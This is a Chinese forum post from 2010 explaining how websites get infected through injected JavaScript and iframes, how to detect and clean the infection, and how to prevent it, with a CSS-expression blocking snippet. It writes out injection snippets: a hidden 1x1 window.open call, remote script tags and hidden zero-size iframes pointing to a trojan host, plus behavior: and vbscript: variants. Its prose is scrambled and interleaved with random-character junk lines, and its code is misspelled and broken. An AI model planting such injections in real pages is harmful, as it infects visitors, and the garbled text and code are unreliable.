搜索
查看: 10845|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

1 {1 I9 E: E' ~; [5 z3 A6 \

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

+ L4 j' f, F% o

IFRAME 和 JS 脚本挂马。

' @9 [6 L% c" A# \# m

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

- ]4 Y) `+ S0 \3 z, S7 M7 c; r" J& A

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

& M N) \( D; W2 E& r* n, o

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

: _1 \( ^- w2 |/ P% R$ y

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

8 m% |! R) V) c+ F- `9 z# v$ d

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

) w, g* ^4 n0 e% u8 C; s4 n

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

0 f0 S- Q" J2 Y8 y( b1 n( E

。一千多位会员的 ID

" s0 ?+ a/ o; Y

2: 如何检测网页是否被挂马。

3 o2 Q. T5 d3 ]) @& K& |4 w2 B

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

8 _$ X/ `4 }+ p) x. p

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

2 U% d- t B- s1 d8 S2 b+ B4 Z

因素。
2 googl 检测。>

8 M1 G4 [/ j0 u5 k+ T

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

. L0 P, \" J" r

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

% A- [$ u. m* o

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

$ F8 Z1 B2 ]: T5 d% X

# B: P3 Y( b/ q3 E$ _

3: 如何清除网页木马。

: c4 j, {$ E8 h2 t3 p) h& u! c

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

4 G: m4 k( R; O) C7 i

入源文件把相关的网页挂马种类的可疑代码删除。

( H6 f) K+ }$ B1 m% n

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

+ e( p7 r% i0 k \5 \- M

悉。>

# D: O+ X: i8 m

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

/ G3 N! o9 f" L4 u( N

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

" ~ _+ a8 A& u2 G8 I. w0 T

2 保证你所使用的顺序及时的更新。

( c: D1 q) P _5 ~6 R& R

3 不要在前台网页上加注后台管理程序登陆页面的链接。

) x$ y9 U2 _) q" j# s

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

, l- H$ Z6 v4 Z/ n' W

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

; t' L9 T7 C; R O' W* R

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

; N* g) Z3 ]& |! R9 b( F- r

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

' t+ V$ y) q6 X3 r/ `. U$ r

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

" d9 x8 g4 }* N- n, J4 d! W, r

. k( `* t: `* _( v

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

! r) c( e, Q+ e. W/ X6 f6 ^7 ?

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

5 ]. {! i+ v1 {' ]6 i

JS 挂马溯源

: J- q c! X: ^( Z5 o6 {

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

# ^8 @+ M3 A+ {) X: g( S( x

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

1 T3 T% s' A+ P9 ^

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

% V2 \' v( C% S

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

: }* u: Q/ Z7 K+ Y! C% L/ L

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

+ l: U5 H) Q: ^6 ~/ @3 I

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

7 o* E* |" h8 {$ C9 j

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

. k& y! F! _$ Y5 d

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

- Y5 z/ q* v! e' L$ I

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

_2 \( v/ h) L. D

脚本在工作中会有很大的协助。

5 `3 ^/ s7 t W- T! ~1 e! \$ h R

挂马原理一点通

! g( _, X* H* ?: ?

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

# f ^5 M: `; O0 A. E

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

) G& T+ [8 S8 g( m2 q

无从区分木马在何处。

7 q q4 N8 M3 u

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

) P | s. ]8 h4 ?

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

9 M+ t/ x' n9 _ b! e" s' y

容易蒙混过关,导致木马久杀不绝。

o$ y. h/ k4 l+ N8 \8 E* U

JS 挂马攻防实录

) E, X* r7 d M3 z

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

, r, P0 O+ J( i' s

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

( U1 T8 H- k% ~5 n& B

这种方法使用的关键代码如下:

9 R' k) |# h" e+ S

"",  window.open "http://www.v404.cn/ 木马

* t& @% p' G8 r4 H1 x( k1 ^- W1 p% o, v

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

" o$ a' l$ d6 ?8 k/ [- U

1 L/ x( y) p5 y. {7 g, R

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

+ T- j+ U6 j# r b1 E+ K9 [$ d; d0 V

但是设置为 0 后,可能会出现恶意代码不运行的情况。

1 Q) e8 A- H4 [% X+ X' I0 G

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

1 x3 s: S& G( N6 I

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

) ~, V# |- t* d/ t

' B' u% ?5 G6 c6 g

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

. g7 @2 I1 X0 j" S/ C4 D

/ y5 d6 E1 S, ~

或者

; ?+ c( p- N0 A4 d% C

document.writ "<div style='display:none'>"

) Y3 V1 n! l- Z8 p. \, C; s% n2 H) \

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

2 g( F/ Y2 [: M$ N7 k

document.writ "</div>"
 

0 i! Q. M: b6 _' H

4 z6 k" L/ k$ I: H6 M2 ^

就成功地将木马挂到对方的网页中了

' n5 \- T' N; y$ m- U

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

0 r- q2 l) `6 z4 i/ ?3 B8 n

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

& N( v) ^; _$ l/ u/ S1 p6 E

或者:

- F3 d& ~- P7 G9 y

<ifram src="vbscript:[ 挂马脚本 ]">

$ G# Z. a8 F y4 `+ Q

! P+ Q1 j" \& A' I; q0 I' B


等等 …

2 i" n. w. Q7 T1 A* P

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

/ [1 b- e+ P V! I

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

) j$ |/ Q# [( ~8 ?6 F7 G. @

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

- J" p! L6 Z8 x& e

;}

( _6 e8 W% C! q& b1 y1 C0 `

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

: p) f" J/ d2 F

/ L/ r% o' Z# m% ^0 X4 r8 A0 |

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

6 p( Y) a$ l5 m6 A1 N3 X

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

- m9 ^- p, o5 K' d5 {$ x

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

2 S& r% h5 k& G7 {; x x( X

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

3 g' j5 I( E0 m6 I& a

<title> 让 JS 挂马中止的 CSS 代码 </title>

) r% S3 g$ c8 k" F) {& D# @

<styl type="text/css" id="shudoo">

; g+ _8 b6 ^9 ^/ J: L5 Q8 ^" b

/*<![CDATA[*/

0 p1 e7 {1 [, X% g* p

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

3 S$ y& `) k* V: F. y" k

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

, v3 ]. a0 [& G' l& t

/*]]>*/

" H% E$ {# r6 m( u4 h6 K

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表